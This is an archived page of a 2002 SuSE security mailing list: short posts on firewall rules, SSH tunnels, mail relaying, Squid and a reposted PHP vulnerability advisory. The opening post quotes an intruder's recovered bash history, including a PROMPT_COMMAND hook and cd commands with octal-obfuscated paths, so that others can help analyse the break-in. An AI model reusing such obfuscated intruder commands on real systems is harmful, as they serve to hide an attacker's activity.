I found out yesterday that our server has been intruded. The intruder even was able to su to root (according to the logs). They logged in via /dev/console, and via the bash history I was able to get the commands they typed in. They are as follows. PROMPT_COMMAND='pwd>&7;kill -STOP $$' cd "`echo -e '\057\150\157\155\145\057\152\157\145'`" cd "`echo -e '\057\150\157\155\145'`" cd "`echo -e '\057'`" cd "`echo -e '\057\166\141\162'`" cd "`echo -e '\057\166\141\162\057\163\160\157\157\154'`" cd "`echo -e '\057\166\141\162\057\163\160\157\157\154\057\143\154\151\145\156\164\155\161\165\145\165\145'`" cd "`echo -e '\057\166\141\162\057\163\160\157\157\154'`" cd "`echo -e '\057\166\141\162\057\163\160\157\157\154\057\155\161\165\145\165\145'`" cd "`echo -e '\057\166\141\162\057\163\160\157\157\154'`" cd "`echo -e '\057\166\141\162\057\163\160\157\157\154\057\163\141\155\142\141'`" cd "`echo -e '\057\166\141\162\057\163\160\157\157\154'`" cd "`echo -e '\057\166\141\162\057\163\160\157\157\154\057\166\163\143\141\156'`" cd "`echo -e '\057\166\141\162\057\163\160\157\157\154\057\166\163\143\141\156\057\166\151\162\165\163\155\141\151\154\163'`" cd "`echo -e '\057\166\141\162\057\163\160\157\157\154\057\166\163\143\141\156'`" cd "`echo -e '\057\166\141\162\057\163\160\157\157\154'`" cd "`echo -e '\057\166\141\162\057\163\160\157\157\154\057\143\165\160\163'`" cd "`echo -e '\057\166\141\162\057\163\160\157\157\154'`" Do any of you recognize these commands, and can tell me what they do? BTW, this is SuSE 8.0. I still haven't figured out how they got in. I run SUSEfirewall2, and all incoming ports are blocked on the internet interface. I tried to compile chkrootkit and no go, so I need some help, if you would be so kind. Thanks. -- Joe & Sesil Morris New Tribes Mission Email Address: Joe_Morris(a)ntm.org Web Address: http://www.mydestiny.net/~joe_morris Registered Linux user 231871 God said, I AM that I AM. I say, by the grace God, I am what I am.

5 4

ssh tunnel question
by Thorsten Marquardt 26 Jul '02

26 Jul '02

hi, I like to use somthing like this via ssh: +-----------+ +---------------+ +-----------+ | DB-Client |---------| Tunnel-Server |==========| DB-Server | | | | Port 3333 | | Port 9876 | +-----------+ +---------------+ +-----------+ A tunnel between Tunnel-Sever and DB Server is installed with: ssh -L 3333:DB-Server:9876 DB-Server Is it possible to have DB-Client use Port 3333 on Tunnel-Server to access Port 9876 (my database daemon) on DB-Server? Clues are welcome. Thanks Thom -- ------------------------------------------------------------------- bye bye (c) by Thom | Thorsten Marquardt | EMail: THOM(a)kaupp.chemie.uni-oldenburg.de | Member of the pzt project. | http://kaupp.chemie.uni-oldenburg.de/pzt -------------------------------------------------------------------

3 3

TransProxy on Sec-Gateway
by GentooRulez 26 Jul '02

26 Jul '02

Hi list, one little question before getting all the weekends lazyness :O) I've got a squid running on firewall and i disabled nat in order to constrain client boxes using it. I do : ipchains -I input -i $DEV_INT -d 0.0.0.0/0 80 -p tcp -j REDIRECT 8080 --log all works fine and the log shows client access that is redirected. Then i do ipchains -I input --dport 8080 -p tcp -j ACCEPT --log ipchains -I output -i $DEV_INT -p tcp -j ACCEPT --log and no log entrys comes up and clients browser fail. Called address was http://193.99.144.71/, so DNS is irrelevant. Using 2.2.19 and just know, that transproxy support has to be enabled. Kernel sources are not on the box and i dont know how to determine, whether its compiled like that. Is there any chance to check that out, e.g. via /proc ? *AND* , if support is enabled, where else may problem lie. Squid works fine using it directly on port 8080 :O) Yours Michael

1 0

Re: [suse-security] IDS goes off at /etc
by GentooRulez 26 Jul '02

26 Jul '02

>> What exactly says /var/log/messages comes up e.g. at 22:05, charles ? >Jul 16 22:04:00 p15089763 /USR/SBIN/CRON[14405]: (mailman) CMD (/usr/bin/python -S /home/mailman/cron/qrunner) >Jul 16 22:04:37 p15089763 popper[14406]: connect from 213.183.161.234 (213.183.161.234) >Jul 16 22:05:00 p15089763 /USR/SBIN/CRON[14408]: (mailman) CMD (/usr/bin/python -S /home/mailman/cron/qrunner) >Jul 16 22:06:00 p15089763 /USR/SBIN/CRON[14410]: (mailman) CMD (/usr/bin/python -S /home/mailman/cron/qrunner) >It's definitily NOT qrunner, because mailman has no permission to change /etc and it should not be popper. So offer a wider range of the log prior to 22:04, cauze - as roman wrote - e.g. a mount cmd ends up with such modified [c|m]times. And ... its not a good idea to present your ip without any emergency, in order to prevent social engineering. 213.183.161.234 is adsl1-234-1-nc.nordcom.net with password-protected-service at port 80 :O) and a dnsalias.org with your clearname ? Yours Michael

3 3

AUTH SMTP with POSTFIX
by jja wikon 26 Jul '02

26 Jul '02

Hi, I configure for small firm (with locally network) a mail server with postfix first I wanted to do Authefizierung only with DIGEST-MD5, CRAM-MD5 and nobody plain, login. But Outlook Express and Netscape unterstüzen only plain, login Authefizierung. Then I wanted to do Authefizierung with IP Address (e.g., only email only from our Router (local netz) farther to escorts may), but also no sure(safe) solution. What is sure(safe), Authefizierung with plain or with IP address, or I can combine this? First of all how I can deduce in parameter "smtpd_recipient_restriction" "permit_mynetworks" and "permit_auth_destination" examinations.

1 0

Fw: Fw: FTP and SuSEFirewall 2
by Markus Noch 26 Jul '02

26 Jul '02

Begin forwarded message: Date: Thu, 25 Jul 2002 14:49:59 +0200 From: Markus Noch <markus.noch(a)bsk-info.de> To: suse-security(a)suse.com Subject: Fw: FTP and SuSEFirewall 2 Begin forwarded message: Date: Thu, 25 Jul 2002 12:51:46 +0200 From: Markus Noch <markus.noch(a)bsk-info.de> To: suse-security(a)suse.com Subject: FTP and SuSEFirewall 2 hi list, i have a suse linux 7.3 box with susefirewall2 running. everything works fine, but i can`t connect to any ftp server. i have opened port 21 and 20 in /etc/rc.config.d/firewall2.rc.config but still have no ftp connect. any hint ?? thanks and greets, -- ----------------------------------------------------- Markus Noch SysAdmin bsk IT Systemhaus GmbH .-. Tel.: +49 6241 / 94650-21 /v\ Klosterstrasse 23 // \\ 67547 Worms /( )\ ^^-^^ _ _ _ _ ___ ____ | |__ ___| | __ | \ | |/ _ \ / ___| | '_ \/ __| |/ /____| \| | | | | | | |_) \__ \ <_____| |\ | |_| | |___ |_.__/|___/_|\_\ |_| \_|\___/ \____| Network-Operation-Centre POP Worms noc(a)bsk-info.de ---Home is where ever those login prompts shine !---- -- ----------------------------------------------------- Markus Noch SysAdmin bsk IT Systemhaus GmbH .-. Tel.: +49 6241 / 94650-21 /v\ Klosterstrasse 23 // \\ 67547 Worms /( )\ ^^-^^ _ _ _ _ ___ ____ | |__ ___| | __ | \ | |/ _ \ / ___| | '_ \/ __| |/ /____| \| | | | | | | |_) \__ \ <_____| |\ | |_| | |___ |_.__/|___/_|\_\ |_| \_|\___/ \____| Network-Operation-Centre POP Worms noc(a)bsk-info.de ---Home is where ever those login prompts shine !---- -- ----------------------------------------------------- Markus Noch SysAdmin bsk IT Systemhaus GmbH .-. Tel.: +49 6241 / 94650-21 /v\ Klosterstrasse 23 // \\ 67547 Worms /( )\ ^^-^^ _ _ _ _ ___ ____ | |__ ___| | __ | \ | |/ _ \ / ___| | '_ \/ __| |/ /____| \| | | | | | | |_) \__ \ <_____| |\ | |_| | |___ |_.__/|___/_|\_\ |_| \_|\___/ \____| Network-Operation-Centre POP Worms noc(a)bsk-info.de ---Home is where ever those login prompts shine !----

1 0

SuSEfirewall2 , pptp, and port forwarding
by Robert Fenney 26 Jul '02

26 Jul '02

Has anyone gotten PopTop pptp working with SuSEfirewall2? I and make the connection but nothing is getting through and my head is getting a little sore from pounding it on the wall! Also does anyone have an example of forwarding pcAnywhere ports to a system behind SuSEfirewall2? For some reason I can't get it working. Thanks! P.S. I know about FreeSwan and can't use it for this project.

2 2

configuration issue with seccheck
by oliver.z 25 Jul '02

25 Jul '02

Dear list I installed via rpm ( seccheck-2.0-140.rpm) seccheck. I read the README for seccheck but it is not clear how to install in a right way. I found the scripts in /var/lib/secchk/... and I can run all of them manually. But I want that the system run them automatically. Do I have to change something in cron.daily or in crontab? I changed already to START_SECCHK="no" in /etc/rc.config, but nothing happened! When I run the script with ./security-daily.sh manually, then check the script only user in the trusted group and not root or other user! He should even check root! And the script mentioned nothing when I have a password with less then 8 characters!!! Can seccheck write any logs or only mail? thanks for any help Oliver

2 1

relaying denied fixed
by Miguel Albuquerque 25 Jul '02

25 Jul '02

hi, Hi, I figured out that forwarding mail to smtp-backdoor overrides sendmail access.db and some FEATURES for control relaying (is that possible?) or I missed something. The solution was adding the ip-address in etc/avgate.acl wich doesn't satisfy me much since sendmail provides more precise tuning. I tryed piping mail thru sendmail insted of forwarding but there isn't too much of a change, I still could trash etc/mail/access. How can I fix this and still enable rejection of mail based on the RBL? Greetings -- .-. Basilinfo Sàrl /v\ We Run SuSE Network Systems Web Content Management // \\ *The LINUX Experts* c/o Miguel Albuquerque /( )\ 13, Pré-de-la-Fontaine ^^-^^ 1217 Meyrin, SWITZERLAND Tel: +41 (22) 782 5344 Fax: +41 (22) 782 5348 mailto:mfoacs@e-workshop.ch http://www.basilinfo.com

1 0

Re: [suse-security] Location of yast config files (Slightly OT)
by Markus Gaugusch 25 Jul '02

25 Jul '02

According to http://sdb.suse.de/en/sdb/html/yast2_pakete_installieren.html you have to do hwscan --cdrom to fix the problem -- __________________ /"\ Markus Gaugusch \ / ASCII Ribbon Campaign markus(a)gaugusch.at X Against HTML Mail / \

3 2

Location of yast config files (Slightly OT)
by Stefan Suurmeijer 25 Jul '02

25 Jul '02

Hi list, can anyone tell me where Yast stores hardware settings? I moved my cdrom from /dev/hdb to /dev/hdc. Unfortunately, yast keeps looking for hdb to install software from. I've manually copied the files I needed and installed them, but in the future it would be nice to know where to look for the config files. I saw a CDrom entry in /var/lib/YaST2/install.inf, but changing that doesn't appear to work. TIA Stefan

4 4

RE: [suse-security] unable to connect via ssh-fixed
by oliver.z 25 Jul '02

25 Jul '02

I found the problem. My client (due dhcp) was not include in the allow.deny file. Almost to simple to be true... thanks Oliver >===== Original Message From "Sven 'Darkman' Michels" <sven(a)darkman.de> ===== >Oliver Ziltener wrote: >> Dear list >> >> This is not directly a security question, but the technologie what I use >> comes from the security area. >> So I hope somebody can support me from this list. >> After a clean shutdown (due maintanence at the 230V system) of the system, >> it was not possible to connect again via ssh. >> And of course afew days before was ssh working perfect. I can see in the >> sniffer files that the tcp 3 way handshake is working fine, but afterwards I >> get a timeout. No information in any logfiles about ssh failure. >> I use on a win a putty-client. The ssh daemon is running. >> I use suse 8.0 with susefirewall2. The system response to port 22 (checked >> with nmap) >> And I have physically access to the system. >> Has anybody an idea how to fix that? > >try ssh -P [otheroptions] host > >Sven > > > >-- >To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com >For additional commands, e-mail: suse-security-help(a)suse.com >Security-related bug reports go to security(a)suse.de, not here

1 0

RE: [suse-security] unable to connect via ssh
by oliver.z 25 Jul '02

25 Jul '02

Hey Sven from another system: ssh -P <ip-address> ssh_exchange_identification: connection closed by remote host ssh -P <local ip address> ssh_exchange_identification: connection closed by remote host ssh -P localhost Then he ask me the system to add localhost permanently and show me the rsa fingerprint. Where is this hostlist? I said yes, but the system doesn't recognize any password. Then ssh -P -l userX localhost >>works perfect And I found in the warn.log messages from sshd: refused connect from ::ffff:<ip_addr> I use openssh3.4p1 is the perhaps a lifetime for the sshkeys? thanks Oliver >===== Original Message From "Sven 'Darkman' Michels" <sven(a)darkman.de> ===== >Oliver Ziltener wrote: >> Dear list >> >> This is not directly a security question, but the technologie what I use >> comes from the security area. >> So I hope somebody can support me from this list. >> After a clean shutdown (due maintanence at the 230V system) of the system, >> it was not possible to connect again via ssh. >> And of course afew days before was ssh working perfect. I can see in the >> sniffer files that the tcp 3 way handshake is working fine, but afterwards I >> get a timeout. No information in any logfiles about ssh failure. >> I use on a win a putty-client. The ssh daemon is running. >> I use suse 8.0 with susefirewall2. The system response to port 22 (checked >> with nmap) >> And I have physically access to the system. >> Has anybody an idea how to fix that? > >try ssh -P [otheroptions] host > >Sven > > > >-- >To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com >For additional commands, e-mail: suse-security-help(a)suse.com >Security-related bug reports go to security(a)suse.de, not here

2 1

Weird problem with sendmail on SuSE Linux w/OE 6.0- cannot forward email.
by Andrew Lietzow 24 Jul '02

24 Jul '02

Dear SuSE wizards, I don't know if this is a problem with sendmail, the access.db, my /etc/hosts.allow, some security settings, the network hubs, Linux, or just what... The problem: The client has a small network with two servers, both with dedicated IP addresses. The first server is a Novell Server. The second is the SuSE 7.3 server whose main mission in life is to run sendmail. It works flawlessly, except for one small problem--two users on the second floor cannot forward email messages. (the mail clients are OE 6.0 with a POP3 connection). There are three ethernet hubs, call them A, B, and C. A connects the two servers, with a line that goes to B. B accepts network connections from all users on the 1st floor. This hub has one cable that goes to hub C on the second floor. I am including this because, if I bring a computer that is attached to hub C on the second floor to a station that plugs directly into B, I can forward email and it works just fine. All other network access functions work just fine. The error message is a Time-out from the SMTP server and OE asks if they want to wait for 60 seconds longer. I will add that if I telnet to the SMTP port when I am connected to hub C, mail.server.org replies with a helo to smtp.server.org. When I move the PC to connect to Hub B, I a helo to that same smtp.server.org. The unit with that domain name (smtp.server.org) is the Novell server which acts as the gateway to the internet. It should NOT be necessary for this server to act as a gateway to the smtp server. This is probably a lot more detail than is required, but how can I go about troubleshooting why these two workstations cannot forward mail? (they send and receive just fine. When we attempt to forward, there is NO message generated in the /var/log/messages or /var/log/mail that I can find. Weird. I have swapped hubs but that yield no differences. I swapped hubs because this problem did not crop up until a previous hub "C" was damaged by water. When I swapped that hub out for a new one, that seems to be when this problem started. Only the two people that are plugged into this new hub have the cannot forward problem. I tried another hub just because this seems like the only variable that could be the offending variable. Any hints on what I could try next? I am stumped! -- Andrew Lietzow The ACL Group, Inc.

1 0

php
by Bryan Smith 24 Jul '02

24 Jul '02

Reading through the archives it looks like the php 4.1 shipping with 8.0 is mute to current php issues (from file upload to current POST issues). However, will a 4.2.2 rpm be available anytime soon? Thanks, -Bryan

1 0

Re:relaying denied
by Miguel Albuquerque 24 Jul '02

24 Jul '02

I'm using sendmail 8.12.3, Suse 8.0. Sendmail listens on smtp-backdoor 825 (avmailgate and stuff). I've been looking all the config files, mostly unchanged and correct. I've noticed something strange in the log, when I check my mail it seems that my client doesn't login as others do. Jul 24 19:56:55 ns avgated[11934]: connection from [129.194.124.141] Jul 24 19:56:55 ns avgated[11934]: Relaying denied for rcpt albuque0(a)etu.unige.ch Jul 24 19:56:57 ns avgated[11934]: connection to [129.194.124.141] closed I'm using named BIND version 9.1. If I send mail with my webmail interface there is no prob... Thnx ---- .-. Basilinfo Sàrl /v\ We Run SuSE Network Systems Web Management // \\ *The LINUX Experts* c/o Miguel Albuquerque /( )\ Av. Miremont 46 ^^-^^ 1202 - GE, SWITZERLAND Tel: +41 (22) 782 5344 Fax: +41 (22) 782 5348 mailto:mfoacs@e-workshop.ch http://www.basilinfo.com

2 1

unable to connect via ssh
by Oliver Ziltener 24 Jul '02

24 Jul '02

Dear list This is not directly a security question, but the technologie what I use comes from the security area. So I hope somebody can support me from this list. After a clean shutdown (due maintanence at the 230V system) of the system, it was not possible to connect again via ssh. And of course afew days before was ssh working perfect. I can see in the sniffer files that the tcp 3 way handshake is working fine, but afterwards I get a timeout. No information in any logfiles about ssh failure. I use on a win a putty-client. The ssh daemon is running. I use suse 8.0 with susefirewall2. The system response to port 22 (checked with nmap) And I have physically access to the system. Has anybody an idea how to fix that? thanks in advance Oliver

2 1

AW: [suse-security] relaying denied
by Thomas Schmidt 24 Jul '02

24 Jul '02

Perhaps a problem with DNS Have you insert the MX records in the DNS Database? If you don´t set a point after the full qualified domain name, this error appears Try somethink like this IN MX 10 linux-server.yourdomain.net. Which bind version do you use? > -----Ursprüngliche Nachricht----- > Von: Miguel Albuquerque [mailto:mfoacs@e-workshop.ch] > Gesendet: Mittwoch, 24. Juli 2002 13:53 > An: suse-security(a)suse.com > Betreff: [suse-security] relaying denied > > > Hello, > > I'm unable to send a e-mail message my server denies relaying no > mather > if they are allowed in the spam control rules. This affects only one > domain name and I can't figure out what's wrong. > > Greetings, > Miguel > > > > ---- > .-. Basilinfo Sàrl > /v\ We Run SuSE Network Systems Web Management > // \\ *The LINUX Experts* c/o Miguel Albuquerque > /( )\ Av. Miremont 46 > ^^-^^ 1202 - GE, SWITZERLAND > > Tel: +41 (22) 782 5344 Fax: +41 (22) 782 5348 > mailto:mfoacs@e-workshop.ch http://www.basilinfo.com > > > -- > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > For additional commands, e-mail: suse-security-help(a)suse.com > Security-related bug reports go to security(a)suse.de, not here > >

1 0

Re: [suse-security] relaying denied
by BLeonhardt＠analytek.de 24 Jul '02

24 Jul '02

are you using sendmail with tcpwrapper ??? maybe that's just another possibility ... ... maybe you're just using the wrong password ;-) ... ... maybe your domain is not listed in /etc/mail/access or you didn't rebuild your access-db Regards / Mit freundlichen Grüßen Bruno Leonhardt CLP Domino R5 Systemadministrator ----------- AnalyTek Systemhaus Hospital Str. 2a D-65589 Hadamar Besuchen Sie uns im Internet unter : http://www.analytek.de Stefan Suurmeijer <stefan(a)raptorweb.nl> 24.07.02 14:33 An: Miguel Albuquerque <mfoacs(a)e-workshop.ch> Kopie: suse-security(a)suse.com Thema: Re: [suse-security] relaying denied Which MTA are you using? If sendmail, did you hash the access database after editing? Without more details on your situation it's hard to say anything sensible Stefan Miguel Albuquerque wrote: >Hello, > >I'm unable to send a e-mail message my server denies relaying no >mather >if they are allowed in the spam control rules. This affects only one >domain name and I can't figure out what's wrong. > >Greetings, >Miguel > > > > > -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com Security-related bug reports go to security(a)suse.de, not here

1 0

relaying denied
by Miguel Albuquerque 24 Jul '02

24 Jul '02

Hello, I'm unable to send a e-mail message my server denies relaying no mather if they are allowed in the spam control rules. This affects only one domain name and I can't figure out what's wrong. Greetings, Miguel ---- .-. Basilinfo Sàrl /v\ We Run SuSE Network Systems Web Management // \\ *The LINUX Experts* c/o Miguel Albuquerque /( )\ Av. Miremont 46 ^^-^^ 1202 - GE, SWITZERLAND Tel: +41 (22) 782 5344 Fax: +41 (22) 782 5348 mailto:mfoacs@e-workshop.ch http://www.basilinfo.com

3 2

Fw: [suse-security] Kazaa
by Thiego Xavier (MIU) 24 Jul '02

24 Jul '02

> Ok Ray Leach > It could send me the rule of iptables please? > Thanks?

4 4

Rule Iptables to KAZAA
by Thiego Xavier (MIU) 24 Jul '02

24 Jul '02

Hello Somebody has the rule of iptables to liberate the gates of kazaa? Send me please? Thiego Xavier Miu Assessoria www.miunet.com.br

3 2

af-packet ??
by Gunther Stammwitz 23 Jul '02

23 Jul '02

Hello, the daily security-check-script on one of our SuSE 8.0-servers has reported something that is being called "af_packet". I have never heared this before and would like to ask if someone on the list knows what this means. Maybe this is a trojan or something like that ? Greetings, Gunther Changes in your daily security configuration of linux: OLD: /var/lib/secchk/security-report-daily Fri Jul 19 00:00:00 2002 NEW: /var/lib/secchk/security-report-daily.new Tue Jul 23 00:00:01 2002 * Changes (+: new entries, -: removed entries): + af_packet + Connectivity & Colocation @ www.rackbase.de + ----------------------------------------------- Mainlab GmbH Sachsenhäuser Landwehrweg 236 60598 Frankfurt am Main Tel. / Fax: 0700-2MAINLAB (0700-26246522) Email: info(a)mainlab.de Web: www.mainlab.de

4 5

IPSec (FreeS/WAN) not in kernel-sources
by Stephan Uhlmann 23 Jul '02

23 Jul '02

Hi all, I use SuSE 8.0 and saw that it has the compiled kernel module for IPSec (FreeS/WAN). That's fine. Now I wanted to compile my own kernel (no module support for higher security) but saw that it lacks the FreeS/WAN code. The ipsec.c is not there. So my question is if that's normal or do I miss something? It's not a big problem, because I alsways can manually patch the FreeS/WAN code into the kernel, but I just found that strange. Also makes me wonder what else is in the kernel binary and not in the sources. Cheers, Stephan -- I intend to live forever. So far so good.

2 1

Re: PHP Security Advisory -- SuSE non-IA32 versions vulnerable?
by Scott Courtney 23 Jul '02

23 Jul '02

Good afternoon! I notice that the Bugtraq page says: "So far only the IA32 platform has been verified to be safe from the execution of arbitrary code. The vulnerability can still be used on IA32 to crash PHP and, in most cases, the web server." Roman Drahtmueller then said, on list: "...not present in SuSE products." Could Roman, or someone else from SuSE, please clarify the preceding statement as to whether this "not present" is applicable to SuSE's S/390 and zSeries Linux distributions? In other words, is SuSE's PHP binary package immune due to SuSE's choice of compile-time settings and so on, or was Roman's statement based on the Bugtraq comment of IA32 being less vulnerable and therefore the bug being not as big an issue for the "main" version of SuSE? Thanks! Scott -- -----------------------+------------------------------------------------------ Scott Courtney | "I don't mind Microsoft making money. I mind them courtney(a)4th.com | having a bad operating system." -- Linus Torvalds http://4th.com/ | ("The Rebel Code," NY Times, 21 February 1999) | PGP Public Key at http://4th.com/keys/courtney.pubkey

4 4

BIND8 on SuSE80 Pro with SuSEFirewall2?
by Geordon VanTassle 23 Jul '02

23 Jul '02

Hello , I'm trying to run an authoritative nameserver on my server, but I must have missed something. Can someone point me in the right direction when using SuSEfirewall2-2.1-57 ? Thanks. -- Best regards, Geordon mailto:gvantass@interaccess.com PGP Key ID: 0xFCF06B79 Your Fortune ==> "A business whose only goal is profit is a poor kind of business."

1 0

iptables and 'manual' port forwarding on the fly?
by Mathias Homann 22 Jul '02

22 Jul '02

Hi, running susefirewall2, how can I just set one port to be forwarded to some port on some internal machine on the fly, and delete that port later, without rebooting the 'wall or restarting susefirewall? bye, MH -- Die unaufgeforderte Zusendung einer Werbemail an Privatleute verstößt gegen §1 UWG und §823 I BGB (Beschluß des LG Berlin vom 2.8.1998 Az: 16 O 201/98). Jede kommerzielle Nutzung der übermittelten persönlichen Daten sowie deren Weitergabe an Dritte ist ausdrücklich untersagt!

2 1

FYI: PHP Security Advisory: Vulnerability in PHP versions 4.2.0 and 4.2.1
by Sven 'Darkman' Michels 22 Jul '02

22 Jul '02

http://online.securityfocus.com/archive/1/283533/2002-07-19/2002-07-25/0 have "fun" ..

3 2

PHP Security Advisory
by Claus Lund 22 Jul '02

22 Jul '02

Copied from http://www.php.net/release_4_2_2.php Right now it's virtually impossible to get on to php.net to download the patch...but hopefully SuSE will have it some time soon. "PHP Security Advisory: Vulnerability in PHP versions 4.2.0 and 4.2.1 Issued on: July 22, 2002 Software: PHP versions 4.2.0 and 4.2.1 Platforms: All The PHP Group has learned of a serious security vulnerability in PHP versions 4.2.0 and 4.2.1. An intruder may be able to execute arbitrary code with the privileges of the web server. This vulnerability may be exploited to compromise the web server and, under certain conditions, to gain privileged access. Description PHP contains code for intelligently parsing the headers of HTTP POST requests. The code is used to differentiate between variables and files sent by the user agent in a "multipart/form-data" request. This parser has insufficient input checking, leading to the vulnerability. The vulnerability is exploitable by anyone who can send HTTP POST requests to an affected web server. Both local and remote users, even from behind firewalls, may be able to gain privileged access. Impact Both local and remote users may exploit this vulnerability to compromise the web server and, under certain conditions, to gain privileged access. So far only the IA32 platform has been verified to be safe from the execution of arbitrary code. The vulnerability can still be used on IA32 to crash PHP and, in most cases, the web server. Solution The PHP Group has released a new PHP version, 4.2.2, which incorporates a fix for the vulnerability. All users of affected PHP versions are encouraged to upgrade to this latest version. The downloads web site at http://www.php.net/downloads.php has the new 4.2.2 source tarballs, Windows binaries and source patches from 4.2.0 and 4.2.1 available for download. Workaround If the PHP applications on an affected web server do not rely on HTTP POST input from user agents, it is often possible to deny POST requests on the web server. In the Apache web server, for example, this is possible with the following code included in the main configuration file or a top-level .htaccess file: <Limit POST> Order deny,allow Deny from all </Limit> Note that an existing configuration and/or .htaccess file may have parameters contradicting the example given above. Credits The PHP Group would like to thank Stefan Esser of e-matters GmbH for discovering this vulnerability." Claus Lund Department of Taxes Information Systems 109 State Street Montpelier, Vermont 05609 (802) 828-3735

1 1

squid always creates new cache directories at startup and crashes when shutting down
by mbauer＠in-sight.de 22 Jul '02

22 Jul '02

Hello list, got a problem with my squid (2.3) whenever I shut down squid, it gives me a warning that it has been killed. (not every time???) when I start squid ("rcsquid start") it always creates new cache directories. cache_dir ufs /cache 275 16 256 ....where /cache is a partition with 300MB. Squid runs without any problems (except this one :) The /var/log/squid7cache.log gives the following output: CPU Usage: 0.420 seconds = 0.230 user + 0.190 sys Maximum Resident Size: 0 KB Page faults with physical i/o: 315 Memory usage for squid via mallinfo(): total space in arena: 3802 KB Ordinary blocks: 3785 KB 4 blks Small blocks: 0 KB 0 blks Holding blocks: 692 KB 1 blks Free Small blocks: 0 KB Free Ordinary blocks: 17 KB Total in use: 4477 KB 118% Total free: 17 KB 0% 2002/07/22 10:36:42| Squid Cache (Version 2.3.STABLE4-hno.CVS): Exiting normally. 2002/07/22 10:36:46| Starting Squid Cache version 2.3.STABLE4-hno.CVS for i686-pc-linux-gnu... 2002/07/22 10:36:46| Process ID 22875 2002/07/22 10:36:46| With 4096 file descriptors available 2002/07/22 10:36:46| DNS Socket created on FD 2 2002/07/22 10:36:46| Adding nameserver 212.19.40.14 from /etc/resolv.conf 2002/07/22 10:36:46| Adding nameserver 212.19.48.14 from /etc/resolv.conf 2002/07/22 10:36:46| Unlinkd pipe opened on FD 7 I've checked the filepermissions, they're ok. there's also enough space on /cache. I run SuSE 7.2, SuSEFirewall 2 on a standard installation. Hope sbd can help me......... Thanks maX Bauer InSight Education GmbH 069 - 587098-90 mbauer(a)in-sight.de

2 1

Kazaa
by Thiego Xavier (MIU) 22 Jul '02

22 Jul '02

How I make stations to obtain them to locate the job of kazaa? Which formulates of Iptables has that to place? Thanks

2 1

php3 update for apache: failed dep
by ic_admin 22 Jul '02

22 Jul '02

Hi List, I try to install the new mod_php.rpm (for php v.3) which I found under 'http://www.suse.de/de/support/download/updates/70_i386.html' but I get the following error-message: "error: failed dependencies: apache_mmn_19990320_10 is needed by mod_php-3.0.17RC1-58" I'm running SuSE7.0 with the latest version of apache (1.3.19-115), mod_perl, mod_php and mod_ssl found on the update dir at SuSE. What can I do? Thanks and regards, Ruediger

2 1

Re: [suse-security] SuSE personal firewall in 7.3
by GentooRulez 22 Jul '02

22 Jul '02

>> As newbie and not well know in Linux I use SuSE 7.3 prof. with SuSE >> personal Firewall. From the, by me, well know Windows-os I use severall >> firewalls on different pc's. What strikes me is that I have on these >> Windows-machines allways a easy to read logfile of the firewall. > >Take a look at /etc/syslog.conf where you can see which logfiles are >configured for "sytem"-logs an your machine To be more precise and newbie compliant /var/log/messages logfile for system wide logging /var/log/firewall logfile for firewall specific logs >> This is >> something I cannot find on my Linux-machine. I went thru severall logfiles >> but cannot find anything that says something like : access denied, blocked, >> refused .... together with ip-addresses and so on. You have to set the level of logging in the configuration file of your firewall like this /etc/rc.config.d/firewall.rc.config FW_LOG_DENY_CRIT="yes" FW_LOG_DENY_ALL="no" FW_LOG_ACCEPT_CRIT="yes" FW_LOG_ACCEPT_ALL="no" to get detailed information on packets handled by your firewall rules. >> Is their any logfile kept by this personal firewall of SuSE 7.3 and is >> their, where to look exactly ? Is their also a way to filter out these >> info. /var/log/firewall contains the raw log info. To analyze there are several oss projects spread in the web. ask google for netfilter or iptables log analyzer and check for further information www.netfilter.org Yours Michael

1 0

Re: [suse-security] Deploy SuSE network infrastructure
by GentooRulez 22 Jul '02

22 Jul '02

>> Me would suggest, the check LDAP again. There are web interfaces for >> managing >> it and a lot of docs that describe the coop with samba and other services >> !!! To secure >> it check bugs on secorityfocus and so on. btw - what secure are the network >> transmissions >> in your windows network - ssl based ? :O) >> >> If you want to have a more fast solution without any work, try to click some >> services >> on w2k and look goes on ? :O) >> >> Yours >> >> Michael >> > >I'm deploy a ldap mail server, with samba integration, and web >autentication , but SuSE rpm not support ldap , must recompile. > >I've not find any usable web ldap manager sorry, can you tell me >someone?(I don't want webmin) > These guys wrote such a LDAP web frontend ftp://oss.gonicus.de/pub/gosa/ but i do not know whether there a english or even a italian version >P.S. any idea about YaST remote? > What kind of remote ? >What kind of user auth YaST-usermanager can manage? flat file only or >can manage NIS or kerberos? No idea - dont use yast for myself, but only for initial minimal installation. Michael

1 0

FreeS/WAN 1.98b-0.9.13 packages for SuSE Linux 8.0
by Christian Bjørnbak 22 Jul '02

22 Jul '02

Hi I'm trying to use Kurt Garloff's FreeS/WAN 1.98b-0.9.13 packages for SuSE Linux 8.0 from http://www.suse.de/~garloff/linux/FreeSWAN/ First I installed freeswan-1.98_0.9.13-3.i386.rpm without problems. Then I copied ipsec-2.4.18-4GB.o to /lib/modules/2.4.18-4GB/kernel/net/ipv4/ipsec.o, but after that I get a /lib/modules/2.4.18-4GB/kernel/net/ipv4/ipsec.o: unresolved symbol __out_of_line_bug trying to start the ipsec daemon. Then I installed the km_freeswan-1.98_0.9.13-3.i386.rpm to try and compile the kernel module myself.. But make -f Makefile.module returns the following error: IPsec not in kernel config (/usr/src/linux/.config)!!. I have been trying to "decipher" the Makefile to figure out what goes wrong. The IPSEC configs is correctly appended to .config but then .config is overridden again with default config... Have anyone experienced this/any solution for this?? /Christian Bjørnbak

1 0

Preliminary Apache updates
by Peter Poeml 20 Jul '02

20 Jul '02

